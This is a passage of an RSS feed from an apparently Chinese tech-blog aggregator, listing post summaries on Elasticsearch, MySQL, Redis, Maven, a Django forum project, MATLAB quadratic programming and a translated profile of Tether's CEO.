      <guid>https://bchobby.github.io/posts/01f697648d41867da14f1148fb4666bb/</guid>
      <description>Elasticsearch 是一款非常强大的开源搜索及分析引擎。&#xA;除了搜索，结合 Kibana、Logstash和Beats，Elasticsearch 还被广泛运用在大数据近实时分析，包括日志分析、指标监控、信息安全等多个领域。&#xA;在国内，阿里巴巴、腾讯、滴滴、字节跳动、饿了么、360安全、小米，vivo 等诸多知名公司都在使用Elasticsearch。&#xA;这份文档将带你全面掌握 Elasticsearch 在生产环境中的核心实战技能。学完后，你可以在工作中快速构建出符合自身业务的分布式搜索和数据分析系统。&#xA;由浅入深：从基础概念到进阶用法，再到集群管理和大数据分析，学完即可应用到实际生产环境中；&#xA;实战演练：通过两个 Elasticsearch 实战项目，手把手带你进行实战服务搭建，巩固所学知识点；&#xA;认证备考：文档内容涵盖 Elastic 认证的全部考点，有助于你顺利通过认证考试。&#xA;免费领取方式：&#xA;有需要的小伙伴点击文末下方传送门，即可获得免费领取方式！！！&#xA;Elastic Stack简介&#xA;简介组件特色介绍 Elasticsearch是什么 搜索是什么数据库做搜索弊端全文检索、倒排索引和Lucene什么是Elasticsearchelasticsearch核心概念Cluster：集群Node：节点Index：索引Document：文档shard：分片 Elasticsearch相关软件安装 Windows安装elasticsearchWindows安装KibanaWindows安装postmanWindows安装head插件 ES快速入门 文档（document）的数据格式简单的集群管理快速查看集群中有哪些索引快速检查集群的健康状况简单的索引操作商品的CRUD操作（document CRUD操作） 文档document入门 默认自带字段解析生成文档id_source 字段文档的替换与删除局部替换 partial update使用脚本更新图解es的并发问题图解悲观锁与乐观锁机制图解es内部基于_version乐观锁控制演示客户端程序基于_version并发操作流程批量查询 mget批量增删改 bulk文档概念学习总结 Java api 实现文档管理 es技术特点java 客户端简单获取数据结合spring-boot-test测试文档增删改查结合spring-boot-test测试文档bulk 图解es内部机制 图解es分布式基础es对复杂分布式机制的透明隐藏特性Elasticsearch的垂直扩容与水平扩容增减或减少节点时的数据rebalance节点对等的分布式架构图解分片shard、副本replica机制图解单node环境下创建index是什么样子的图解2个node环境下replica shard是如何分配的图解横向扩容图解es容错机制 master选举，replica容错，数据恢复 图解文档存储机制 数据路由文档存储如何路由到相应分片路由算法手动指定routing number主分片数里不可变图解文档的增删改内部机制图解文档的查询内部机制bulk api奇特的json格式 Mapping映射入门 什么是mapping映射精确匹配与全文搜索的对比分析全文检索下倒排索引核心原理快速揭秘分词器 analyzerquery string根据字段分词策略mapping的核心数据类型以及dynamic mapping手动管理mapping复杂数据类型 索引 Index 入门 为什么我们要手动创建索引索引管理定制分词器type底层结构及弃用原因定制dynamic mapping零停机重建索引 中文分词器 IK分词器 Ik分词器安装使用ik配置文件使用mysql热更新 词库Java api 实现索引管理 search搜索入门 搜索语法入门multi-index 多索引搜索初步图解一下简单的搜索原理分页搜索deep pagingquery string基础语法query DSL入门full-text search 全文检索DSL 语法练习Filter定位错误语法定制排序规则Text字段排序问题Java api实现搜索 评分机制详解 评分机制 TF\IDF算法介绍Doc valuequery phasefetch phase搜索参数小总结preferencetimeoutroutingsearch_type 聚合入门 6个聚合示例两个核心概念：bucket和metric13个电视案例Java api实现聚合 es7 sql新特性 快速入门启动方式显示方式sql翻译与其他DSI结合Java 代码实现sql功能 Logstash学习 Logstash基本语法组成Logstash输入插件（input）读取TCP网络数据Logstash过滤器插件(Filter)Grok 正则捕获时间处理(Date)数据修改(Mutate)Logstash输出插件（output）正则表达式替换匹配字段 kibana学习 基本查询可视化仪表盘使用模板数据指导绘图 集群部署+项目实战 项目一：ELK用于日志分析项目二：学成在线站内搜索模块 该笔记理论和实际代码相辅相成，理论结合画图讲解；代码与spring boot结合；实际部署理论与实践，ELK整体流程项目，包含数据采集。不管是Java开发工程师还是架构师，都能从中提升不少。</description>
    </item>
    <item>
      <title>【计算机毕业设计】python&#43;django数码电子论坛系统设计与实现</title>
      <link>https://bchobby.github.io/posts/a9515af043c434d0005fb477873fbcc3/</link>
      <pubDate>Sat, 30 Dec 2023 15:50:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9515af043c434d0005fb477873fbcc3/</guid>
      <description>本系统主要包括管理员和用户两个角色组成；主要包括：首页、个人中心、用户管理、分类管理、数码板块管理、数码评价管理、数码论坛管理、畅聊板块管理、系统管理等功能的管理系统。&#xA;后端：python+django&#xA;前端：vue.js+elementui&#xA;框架：django/flask&#xA;Python版本：python3.7+&#xA;数据库：mysql5.7&#xA;数据库工具：Navicat&#xA;开发软件：PyCharm .&#xA;网络交互系统，是一种网络交互软件，通常由个人管理、不定期张贴新的文章的网站、对文章评论、转发等进行交互。其文章通常根据张贴时间，以倒序方式由新到旧排列。一个的交互系统结合了文字、图像、其他网站的链接、及其它与主题相关的媒体。能够让读者以互动的方式留下意见，是许多网友的重要要素。大部分的交互内容以文字为主，也有一些帖子专注在艺术、摄影、音乐等各种主题。&#xA;设计框架：Vue&#xA;1. 表现层：写多个vue页面，负责接收用户请求数据和处理后的结果显示&#xA;2. 控制器层：又多个控制器组成，这些控制器用于拦截用户请求，并调用业务逻辑组件的业务逻辑方法，并处理用户请求，根据不同的处理结果发送到相应的表现层组件&#xA;3. 业务逻辑层：由实现所需业务的各个业务对象组成，它们共同完成了整个所需业务的业务逻辑方法。&#xA;DAO层：由各种DAO组件构成，实现对数据库的增删改查等操作。&#xA;主要对首页、个人中心、用户管理、分类管理、数码板块管理、数码评价管理、数码论坛管理、畅聊板块管理、系统管理的实现。&#xA;数码论坛的需求和管理上的不断提升，数码论坛的潜力将无限扩大，数码论坛系统在业界被广泛关注，本系统及对此进行总体分析，将数码论坛信息管理的发展提供参考。数码论坛系统对数码论坛有着明显的带动效应，对管理帮助更大。&#xA;功能介绍&#xA;目录&#xA;1 绪论 1&#xA;1.1课题背景 1&#xA;1.2课题研究现状 1&#xA;1.3初步设计方法与实施方案 2&#xA;1.4本文研究内容 2&#xA;2 系统开发环境 4&#xA;3 系统分析 6&#xA;3.1系统可行性分析 6&#xA;3.1.1经济可行性 6&#xA;3.1.2技术可行性 6&#xA;3.1.3运行可行性 6&#xA;3.2系统现状分析 6&#xA;3.3功能需求分析 7&#xA;3.4系统设计规则与运行环境 8&#xA;3.5系统流程分析 8&#xA;3.5.1操作流程 8&#xA;3.5.2添加信息流程 9&#xA;3.5.3删除信息流程 10&#xA;4 系统设计 11&#xA;4.1系统设计主要功能 11&#xA;4.2数据库设计 11&#xA;4.2.1数据库设计规范 11</description>
    </item>
    <item>
      <title>停一停先别划走，吊打全网的MySQL进阶面试突击，吃透最少阿里P7</title>
      <link>https://bchobby.github.io/posts/61c0ec353916608fabf17da34f3b1363/</link>
      <pubDate>Sat, 30 Dec 2023 15:47:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61c0ec353916608fabf17da34f3b1363/</guid>
      <description>网上有不少关于 MySQL 调优的文章，之前也发过一些。但不少朋友反映依旧对 MySQL 底层原理及架构这些内容一知半解，没有吃透，总是会遇到不少问题：&#xA;如何提高查询语句性能？如何突破单库性能瓶颈？如何做到数据库的高并发与高可用？&#xA;为了解答 MySQL 体系架构、InnoDB 执行流程、索引优化等问题，这里给大家推荐的这份【MySQL进阶面试突击】，特别适合对 MySQL索引调优、事务和锁优化等进阶内容掌握不系统的朋友。&#xA;就 MySQL 系统架构、执行流程、索引原理、性能分析、事务和锁原理等做出深入浅出的解读，进而帮你搭建起 MySQL 的底层知识框架，夯实常用技能点。无论是日常开发工作，还是求职面试，都非常值得学习。看完之后，你可以学到：&#xA;系统梳理 MySQL 体系架构和执行流程可以从全局思考如何解决业务问题，而不是局限于某个方面提高代码质量和调优能力助力面试中表现出色，取得更高水平的薪资对照知识体系，查漏补缺 数据库理论模块 OLTP与OLAP&#xA;OLTP（关系型数据库）OLAP（数据分析挖掘） 数据库完整性&#xA;实体完整性参照完整性 关系查询处理和查询优化&#xA;关系数据库系统的查询处理关系数据库系统的查询优化代数优化物理优化 事务与数据库恢复技术&#xA;事务的基本概念数据库恢复概述故障的种类恢复的实现技术恢复策略具有检查点的数据恢复数据库镜像 并发控制&#xA;并发控制概述封锁封锁协议饥饿和死锁并发调度的可串行性两段锁协议封锁的粒度其他并发控制机制 范式（避免数据冗余和操作异常）&#xA;函数依赖平凡的函数依赖非平凡的函数依赖部分函数依赖传递函数依赖super key&amp;amp;candidate key&amp;amp;primary key&amp;amp;主属性&amp;amp;非主属性1NF列不可分2NF消除了非主属性对键的部分函数依赖3NF消除了非主属性对键的传递函数依赖BCHF消除了主属性对键的部分函数依赖和传递函数依赖 反范式（减少连接，提高查询效率）&#xA;Pattern1：合并1对1关系Pattern2：1对N关系中复制非键属性以减少连接Pattern3：1对N关系中复制外键以减少连接Pattern4：N对N关系中复制属性，把两张表中经常需要的内容复制到中间关系表中以减少连接Pattern5：引入重复值Pattern6：建立提取表Pattern7：分表 第一模块【数据库理论模块】全内容目录一览 MySQL使用实操 MySQL特点+数据类型&#xA;数值类型时间和日期类型 逻辑架构&#xA;连接层( 管理客户端的连接，维护线程池）服务器( 与具体存储引擎解耦，服务器通过API与存储引擎进行通信）存储引擎层( 负责数据的存储和存取）存储层( 将数据存储到文件系统上） 存储引擎+约束+MySQL常用函数+视图&#xA;文本处理函数日期和时间处理函数数值处理函数为什么使用视图视图的规则和限制视图的创建视图的更新 存储过程+触发器&#xA;为什么使用储存过程?执行存储过程使用参数的存储过程带有控制语句的存储过程创建触发器触发器类别INSERT触发器DELETE触发器UPDATE触发器 MySQL索引&#xA;索引使用的基本原则索引分类——从数据结构角度索引分类——从物理存储角度索引分类——从逻辑角度索引的特殊应用适合建索引的情况不适合建索引的情况索引优点索引缺点索引失效 MySQL查询分析工具&#xA;慢查询日志explainshow profile习题 MySQL性能优化+MySQL查询优化&#xA;慢查询基础：优化数据访问MySQL是否在扫描额外的记录是否向数据库请求了不需要的数据重构查询的方式优化特定类型的查询JOIN 优化小表驱动大表order by优化group by 优化limit 优化UNION优化 MySQL实现层次模型+分区分库分表&#xA;邻接模型物化路径模型嵌套集合模型分区(针对表)分库(针对库)分表(针对表) 主从复制&#xA;复制概述复制原理复制拓扑复制和容量规划复制管理和维护复制的问题和解决方案 高可用解决方案+压力测试&#xA;脑裂问题解决方案MHAMMM 容灾备份+SQL</description>
    </item>
    <item>
      <title>9年900亿：印钞机Tether想搞大模型</title>
      <link>https://bchobby.github.io/posts/6ac782555f58be8237eb7854886b2b6c/</link>
      <pubDate>Sat, 30 Dec 2023 15:45:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ac782555f58be8237eb7854886b2b6c/</guid>
      <description>作者：Daniel Kuhn@Consensus Magazine&#xA;编译：秦晋 碳链价值&#xA;在经历有望盈利45亿美元辉煌的一年之后，这位新晋升的Tether首席执行官正寻求实现公司投资的多元化。&#xA;加密货币行业受过教育或具有影响力的精英们的「明智看法」是，世界上最大稳定币USDT背后制造商Tether受到了不公平的诽谤，但最终可能会失败。USDT不仅是最成功的稳定币（一种基于区块链、旨在保持稳定价值的资产），而且可以说是迄今为止最成功的加密产品。USDT 的市值可能不及BTC或ETH这两种最大的自由浮动加密货币，但在交易量上却碾压它们。因此，如果USDT像某些人预期的那样崩溃，它将跌得很惨。&#xA;人们使用Tether。其被用于交易、套期保值、转账、支付、搭桥、交换、估值和记账。换句话说，Tether就像货币一样。使用方式与美元相同。事实上，这就是问题重点所在--Tether创造的USDT将美元带入链上，现在，由于美元在始终运行且全球可访问的区块链上，因此美元可以在世界各地随时随地使用。&#xA;这有什么大惊小怪呢？问问所谓Tether真相者（即那些认为该公司被恶意中伤的人），他们可能会指出Tether其他用途。Tether有时被用于行贿、违反制裁和洗钱。有人说，Tether还被用于支撑整个加密货币市场的虚高估值。对Tether持怀疑态度的人往往只是重复Tether自2014年成立以来的各种说法，以显示前后矛盾。&#xA;关于Tether如何锚定等价物的说法随着时间的推移而发生改变--先是美元，现在是美元等价物--引发人们对其原因、方式和意义的质疑。从很多方面来看，Tether业务结构很简单：吸纳资金，发放USDT。其运作方式与传统金融市场中的银行或货币市场基金并无二致。对于这个最大的稳定币制造商，人们最大的担忧也同样简单：它是否真的持有它应该持有的抵押资金？&#xA;Paolo晋升&#xA;所有这些担忧与Tether 的巨大影响力现在均由保罗-阿尔多诺（Paolo Ardoino）负责，他今年被提升为Tether的首席执行官。阿尔多诺是一名公司职员。多年以来，他一直是该公司的公众形象代言人，该公司有时因缺乏沟通和明确管理而受到外界批评。在升职之前，阿尔多诺是Tether及其子公司加密货币交易所Bitfinex首席技术官（他目前仍然是Bitfinex首席技术官）。他从成立之初就在这两家公司工作，最初是一名高级软件开发人员。&#xA;有一个令人信服的证据是，阿尔多诺是加密货币领域最勤奋的人。看看他的GitHub。他今年的代码贡献量为3275次（对于全职工程师来说，每天2-3次被认为是平均水平），而在2017年，他的提交量达到37720 次。除了运营Tether和编写Bitfinex代码（Bitfinex曾一度是最大交易所），阿尔多诺还创立了Holepunch并担任首席战略官，是他五年前与朋友一起构想出来的一个点对点通信平台，。&#xA;他在接受采访时表示，「除了我正在做的事情之外，我没有其他爱好。」他提到武术训练，武术训练可以让他不用整天登录电脑。「我真的没有其他爱好。」&#xA;有些人工作是为了生活，有些人生活是为了工作。阿多诺就属于后者。自从今年升任首席执行官以来，他一直在努力遵守规范，保持双手和头脑的活跃，坚持写代码。阿多诺在Tether内部领导一个类似于「登月计划」部门，该部门大约有25-30名工程师，负责开发和研究他认为有朝一日能让银行和世界变得更美好的工具。该团队已有一些成果，那就是在Holepunch上运行的去中心化视频通话应用Keet。&#xA;「成为Tether首席执行官需要一个过程。几个月以来，我们一直在与董事会和其他管理层公开讨论这一过渡。一段时间以来，我一直认为自己不仅仅是一名开发人员，」阿多诺在一份电子邮件声明中说。「我喜欢管理团队，规划公司和产品的战略，并落实执行。」&#xA;该部门没有正式名称，但可以与过去的一些公司研究园区相提并论，比如以前被称为贝尔实验室的电信子公司（该实验室聚集许多著名工程师，并帮助建立现代互联网）或谷歌的X创新部门。只有阿尔多诺设想他的部门不仅是作为营利部门，而且也是有利于其他业务的部门。该团队着眼于比特币节点基础设施和人工智能，以及其他具有商业化潜力的技术。&#xA;他说，「这是我们经过深思熟虑的做法，」他提到，公司将大约10%现金投入研发。尽管阿尔多诺的其他一些业务举措几乎是「慈善」性质的，但Tether预计其比特币挖矿业务预计「将会赚钱」。他说，我们正试图让自己处于这样一种境地：我们在未来将无法作恶，因为我们正在构建人人都能使用的技术。他提到谷歌现在著名的口号「Don&#39;t Be Evil」（不要作恶）。&#xA;出身卑微&#xA;阿尔多诺来自意大利北部的一个乡村小镇，他有一双让人想起弗兰克-辛纳屈（Frank Sinatra）的锐利蓝眼睛。他说，具体来说，热那亚是「香蒜酱和佛卡夏面包」的故乡。他很早就喜欢上电脑。他还记得自己的第一台电脑：1991年左右的Olivetti 386，内存为4MB，软盘端口为3.5英寸。它运行MS-DOS系统。他说，我记得父亲告诉我，这台电脑花了他几个月的工资。他被告知要小心地使用它。&#xA;我非常兴奋，告诉了学校里所有的朋友。阿尔多诺说：我记得我的数学老师听了我的话后回答说，电脑只是在浪费金钱和时间，对人们永远不会有用。他住得离朋友们很远，喜欢在电脑上度过下午时间。他对 Microsoft Word 和 Paint 等现有应用程序感到厌倦。他自学代码，这样他就可以自制游戏了。&#xA;「除了我正在做的事情之外，我没有其他爱好」&#xA;他是早期Linux用户。他从Linus Torvalds（该开源操作系统的创始人）著作中汲取营养，后者将软件免费发布到网上，并邀请人们尝试改进它。这个想法引起阿尔多诺的共鸣，因为这是一个人人都能获胜的游戏。他还阅读了理查德-斯托尔曼（Richard Stallman）的《GNU 宣言》（该宣言至今仍是自由软件运动的基础文件）和埃里克-雷蒙德（Eric Raymond）的《大教堂与集市》（The Cathedral and the Bazaar），后者认为代码应该自下而上、公开、自由进入（就像集市），而不是自上而下、封闭（就像大教堂）。阿西莫夫是他最喜欢的作家。&#xA;他说：从外面看，集市可能杂乱无章、喧闹嘈杂--一点也不诗意，但如果你置身其中，仔细观察，集市是极其高效的。他说，你可以从集市上拿走一部分，但集市依然是集市，它是灵活而有弹性的，而大教堂则是「巨石」。在雷蒙德写作十年后问世的比特币就是集市软件。&#xA;阿尔多诺在热那亚大学上大学时离家很近。他学习计算机科学和应用数学。他参加一些学生小组，希望从事Linux方面工作，并对分布式计算、并行计算和点对点系统产生浓厚兴趣。&#xA;他说：BitTorrent对我来说真的很珍贵。他记得该软件问世的时间，就像他记得许多点对点应用程序的推出时间一样。他能回忆起文件共享软件的规格，从Gnutella到Napster，再到BitTorrent、Kazaa和Limewire，就像有些人回忆起英国的国王和王后一样。&#xA;在大学生涯即将结束时，他参与一个三人研究项目，研究「弹性网络」，即人们使在最糟糕情况下，也能进行交流。他热爱这份工作，但讨厌薪资。他说：作为意大利人，你的薪资并不高。所以我开始寻找其他机会。&#xA;他说，自己自学金融和经济学。2011年，他在一家对冲基金公司找到第一份工作，负责设计和校准交易系统。在2013年，他来到区域金融中心伦敦，经营自己的初创公司，为对冲基金开发交易软件产品。根据LinkedIn资料，这家公司名为Fincluster。他说：这是一家小型初创公司，但我们做得非常好。&#xA;他的团队&#xA;Tether的领导层是一个紧密团结的团队。阿尔多诺于2014年在伦敦结识了前整形外科医生Giancarlo Devasini。Devasini现在是Tether 首席财务官，当时一直在运营Bitfinex，他向阿尔多诺提供了一份工作。斯图尔特-霍格纳（Stuart Hoegner）是加拿大人，在Twitter上的名字是@bitcoinlawyer，自2014年以来一直担任Bitfinex法律总顾问。前首席执行官让-路易-范德维德（Jean-Louis van der Velde）也从一开始就在Bitfinex工作，现在仍然是Bitfinex顾问和首席执行官。&#xA;这就是将 Tether 推向市场的团队，尽管该项目的创意最初是由企业家、有抱负的政治家和前儿童演员布洛克-皮尔斯（Brock Pierce）领导的 Mastercoin 团队以 Realcoin 的名义孵化出来的。皮尔斯的创始团队包括威廉-奎格利（William Quigley）、里夫-柯林斯（Reeve Collins）和克雷格-塞勒斯（Craig Sellars），他们很早就退出了这个项目。从某种意义上说，Tether最初想法是为「比特币2.0」（加密货币行业当时的名称）中许多苦于无法获得银行服务的公司提供一个权宜之计。&#xA;Tether被存入银行，并向用户提供私人美元等价物。其最初承诺会保留相应数量的法币储备，以匹配流通中的代币数量。据认为，它早期的许多银行关系都是与中国台湾地区的银行建立的，这些银行使用富国银行的代理服务（2017年，Tether与富国银行提起诉讼，因为该银行切断了它的访问权限）。Tether 被指控伪造发票与合同，以获得和维持银行关系，纽约的监管机构发现该公司会使用与其高管和 「Bitfinex的朋友」有关联的账户。</description>
    </item>
    <item>
      <title>Spring Boot 2&#43;MyBatis&#43;Docker&#43;Elasticsearch微服务商城源码分享</title>
      <link>https://bchobby.github.io/posts/1ffdc19e0ccf888d0922932d666535e3/</link>
      <pubDate>Sat, 30 Dec 2023 15:42:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ffdc19e0ccf888d0922932d666535e3/</guid>
      <description>项目介绍 mall学习教程，架构、业务、技术要点全方位解析。mall项目是一套电商系统，使用现阶段主流技术实现。涵盖了SpringBoot2.1.3、MyBatis3.4.6、Elasticsearch6.2.2、RabbitMQ3.7.15、Redis5.0、Mongodb4.2.5、Mysql5.7等技术，采用Docker容器化部署。（附带全套Spring Cloud教程，有需要的小伙伴在文末查看免费领取方式）&#xA;组织结构 mall&#xA;├── mall-common -- 工具类及通用代码模块&#xA;├── mall-mbg -- MyBatisGenerator生成的数据库操作代码模块&#xA;├── mall-security -- 封装SpringSecurity+JWT的安全认证的模块&#xA;├── mall-registry -- 基于Eureka的微服务注册中心&#xA;├── mall-config -- 基于Spring Cloud Config的微服务配置中心&#xA;├── mall-gateway -- 基于Spring Cloud Gateway的微服务API网关服务&#xA;├── mall-monitor -- 基于Spring Boot Admin的微服务监控中心&#xA;├── mall-admin -- 后台管理系统服务&#xA;├── mall-search -- 基于Elasticsearch的商品搜索系统服务&#xA;├── mall-portal -- 移动端商城系统服务&#xA;└── mall-demo -- 微服务远程调用测试服务&#xA;项目文档 架构&#xA;手把手教你搭建一个mall在使用的项目骨架&#xA;mall整合SpringBoot+MyBatis搭建基本骨架mall整合Swagger-UI实现在线API文档mall整合Redis实现缓存功能mall整合SpringSecurity和JWT实现认证和授权（一）mall整合SpringSecurity和JWT实现认证和授权（二）mall整合SpringTask实现定时任务mall整合Elasticsearch实现商品搜索mall整合Mongodb实现文档操作mall整合RabbitMQ实现延迟消息mall整合OSS实现文件上传 业务&#xA;全面解析mall中使用的数据库表结构&#xA;mall数据库表结构概览商品模块数据库表解析（一）商品模块数据库表解析（二）订单模块数据库表解析(一)订单模块数据库表解析(二)单模块数据库表解析(三)营销模块数据表解折(一)营销模块数据表解折(二)营销模块数据库表解折(三)权限管理功能设计与优化品SKU功能设计与优化 技术要点&#xA;mall项目中一些功能的技术要点解析&#xA;MyBatis Generator使用过程中踩过的一个坑SpringBoot应用中使用AOP记录接口访问日志SpringBoot应用整合ELK实现日志收集前后端分离项目，如何解决跨域问题Java 8都出那么久了，Stream API了解下？仅需四步，整合SpringSecurity+JWT实现登录认证！前后端分离项目，如何优雅实现文件存储！前后端分离项目，引入Spring Cloud Gateway遇到的一个问题！手把手教你搞定权限管理，结合Spring Security实现接口的动态权限控制！手把手教你搞定权限管理，结合Vue实现菜单的动态权限控制！SpringBoot中处理校验逻辑的两种方式，真的很机智！使用Redis+AOP优化权限管理功能，这波操作贼爽！Elasticsearch项目实战，商品搜索功能设计与实现！ 项目部署</description>
    </item>
    <item>
      <title>优化模型：matlab二次规划</title>
      <link>https://bchobby.github.io/posts/4ac41aa2cae0d48d890ea653bfb2c270/</link>
      <pubDate>Sat, 30 Dec 2023 15:40:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4ac41aa2cae0d48d890ea653bfb2c270/</guid>
      <description>1.二次规划 1.1 二次规划的定义 若某非线性规划的目标函数为自变量 x x x的二次函数，且约束条件全是线性的，则称这种规划模型为二次规划。&#xA;1.2 二次规划的数学模型 min ⁡ 1 2 x T H x + f T x \min \frac{1}{2}\boldsymbol{x}^{\boldsymbol{T}}\boldsymbol{Hx}+\boldsymbol{f}^{\boldsymbol{T}}\boldsymbol{x} min21​xTHx+fTx&#xA;s . t . { A x ⩽ b A e q ⋅ x = b e q l b ⩽ x ⩽ u b s.t.\left\{ \begin{array}{c} \boldsymbol{Ax}\leqslant \boldsymbol{b}\\ Aeq\cdot \boldsymbol{x}=beq\\ lb\leqslant \boldsymbol{x}\leqslant ub\\ \end{array} \right. s.t.⎩ ⎨ ⎧​Ax⩽bAeq⋅x=beqlb⩽x⩽ub​&#xA;式中： H \boldsymbol{H} H为实对称矩阵； f \boldsymbol{f} f, b \boldsymbol{b} b, b e q , l b , u b beq,lb,ub beq,lb,ub为列向量； A \boldsymbol{A} A, q q q为相应维数的矩阵。</description>
    </item>
    <item>
      <title>感动哭了，Java界的四大名著之一：Java编程思想最新中文版已开源</title>
      <link>https://bchobby.github.io/posts/1358a190c959ae0f9e8b68c631300cef/</link>
      <pubDate>Sat, 30 Dec 2023 15:39:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1358a190c959ae0f9e8b68c631300cef/</guid>
      <description>前言 还记得这本书吗？是不是已经在你的桌上铺满厚厚的一层灰了？随着时间流逝，这门语言在许多地方发生了翻天覆地的变化。最新版已经出来了，在新的版本中，代码的运用和实现上与以往不尽相同。&#xA;本书可作为编程入门书籍，同时也适用于想要扩展知识的在职程序员。&#xA;最新英文翻译版已经开源到 GitHub，翻译的非常棒，同时内容还在不断的更新，有多位大佬在维护，非常棒的学习资料，从此看这本书再也不会头疼了！&#xA;文档目录如下： 第一章 对象的概念 抽象接口服务提供封装复用继承多态单继承集合生命周期异常处理本章小结 第二章 安装Java和本书用例 编辑器ShellJava安装校验安装安装和运行代码示例 第三章 万物皆对象 对象操纵对象创建代码注释对象清理类的创建程序编写小试生刀编码风格本章小结 第四章 运算符 开始使用优先级赋值算术运算符递增和递减关系运算符逻辑运算符字面值常量按位运算符移位运算符三元运算符字符串运算符常见陷阱类型转换Java没有sizeof运算符总结本章小结 第五章 控制流 true和flaseif-else迭代语句for-in语法returnbreak和continue臭名昭著的gotoswitchswitch字符串本章小结 第六章 初始化和清理 利用构造器保证初始化方法重载无参构造器this关键字垃圾回收器成员初始化构造器初始化数组初始化枚举类型本章小结 由于篇幅限制，该文档的内容比较全面，无法一一将所有章节内的知识点展示出来，只好先把大体目录内容展示出来，需要这份【Java编程思想】的朋友们可以帮忙转发一下这篇文章（可以帮助更多有需要的人看到），然后点击文末下方传送门即可获得免费领取方式啦&#xA;第七章封装第八章复用第九章多态第十章接口第十一章内部类第十二章集合第十三章函数式编程第十四章流式编程第十五章异常第十六章代码校验第十七章文件第十八章字符串第十九章类型信息第二十章泛型第二十一章数组第二十二章枚举第二十三章注解第二十四章并发编程第二十五章设计模式 需要这份【Java编程思想】的朋友们可以帮忙转发一下这篇文章（可以帮助更多有需要的人看到），然后点击文末下方传送门即可获得免费领取方式啦</description>
    </item>
    <item>
      <title>2023.12.28 关于 Redis 数据类型 List 内部编码、应用场景</title>
      <link>https://bchobby.github.io/posts/c9d84d54fb48b0b8a191be4f792a508c/</link>
      <pubDate>Sat, 30 Dec 2023 15:12:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c9d84d54fb48b0b8a191be4f792a508c/</guid>
      <description>目录&#xA;List 编码方式&#xA;早期版本&#xA;现今版本&#xA;List 实际应用&#xA;多表之间的关联关系&#xA;消息队列&#xA;频道（多列表）消息队列&#xA;微博 Timeline&#xA;栈 &amp;amp; 队列&#xA;List 编码方式 早期版本 早期版本 List 类型的内部编码方式有两种 ziplist（压缩列表）linkedlist（链表） 两个配置项 list-max-ziplist-entries 配置list-max-ziplist-value 配置 注意：&#xA;现版本 Redis 已不再使用这两个配置项且上述的 两种编码方式 为早期版本 Reids 中的 List 类型内部编码方式 现今版本 现今版本 Redis 使用 quicklist 作为 List 类型的内部编码方式quicklist 相当于 ziplist 和 linkedlist 的结合 quicklist 整体上还是一个 linkedlist ，但 linkedlist 的每个节点均为一个 ziplist 特点：&#xA;每个节点上的 ziplist 不会太大，且这多个 ziplist 通过链式结构链接起来 配置项：&#xA;该配置项描述了每个节点 ziplist 的阈值当 ziplist 满足阈值，便将其分裂成多个列表节点，即多个 ziplist 再将这多个 ziplist 通过链式结构链接起来 注意：</description>
    </item>
    <item>
      <title>20231230 SQL基础50题打卡</title>
      <link>https://bchobby.github.io/posts/65cab8f2f0a45b5b26baa2fb601e51c7/</link>
      <pubDate>Sat, 30 Dec 2023 15:09:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65cab8f2f0a45b5b26baa2fb601e51c7/</guid>
      <description>20231230 SQL基础50题打卡 570. 至少有5名直接下属的经理 表: Employee&#xA;+-------------+---------+ | Column Name | Type | +-------------+---------+ | id | int | | name | varchar | | department | varchar | | managerId | int | +-------------+---------+ id 是此表的主键（具有唯一值的列）。 该表的每一行表示雇员的名字、他们的部门和他们的经理的id。 如果managerId为空，则该员工没有经理。 没有员工会成为自己的管理者。 编写一个解决方案，找出至少有五个直接下属的经理。&#xA;以 任意顺序 返回结果表。&#xA;查询结果格式如下所示。&#xA;示例 1:&#xA;输入: Employee 表: +-----+-------+------------+-----------+ | id | name | department | managerId | +-----+-------+------------+-----------+ | 101 | John | A | Null | | 102 | Dan | A | 101 | | 103 | James | A | 101 | | 104 | Amy | A | 101 | | 105 | Anne | A | 101 | | 106 | Ron | B | 101 | +-----+-------+------------+-----------+ 输出: +------+ | name | +------+ | John | +------+ 题解：</description>
    </item>
    <item>
      <title>黑马程序员SSM框架-Maven进阶</title>
      <link>https://bchobby.github.io/posts/26d0d43a4c8c45402deb5d6f5f280d48/</link>
      <pubDate>Sat, 30 Dec 2023 15:05:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/26d0d43a4c8c45402deb5d6f5f280d48/</guid>
      <description>分模块开发与设计 分模块开发意义 分模块开发 依赖管理 依赖传递 依赖传递冲突问题 可以点击红框按钮查看依赖情况。&#xA;可选依赖和排除依赖 继承和聚合 聚合 聚合工程开发 继承 聚合和继承的区别 属性 属性的配置与使用 资源文件引用属性 其他属性（了解） 版本管理 多环境配置与应用 多环境开发 跳过测试 私服 Nexus的安装与启动 私服资源操作流程分析 资源的上传与下载 本地仓库访问私服权限设置 maven安装路径中的设置&#xA;注意这个配置要在配置的其他镜像之前。&#xA;工程上传到私服服务器设置 私服访问中央服务器设置 红框中可以改为阿里云镜像。</description>
    </item>
    <item>
      <title>互联网加竞赛 基于Django与深度学习的股票预测系统</title>
      <link>https://bchobby.github.io/posts/e7175d57fd7f6dc95abffc6da83efe41/</link>
      <pubDate>Sat, 30 Dec 2023 14:49:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e7175d57fd7f6dc95abffc6da83efe41/</guid>
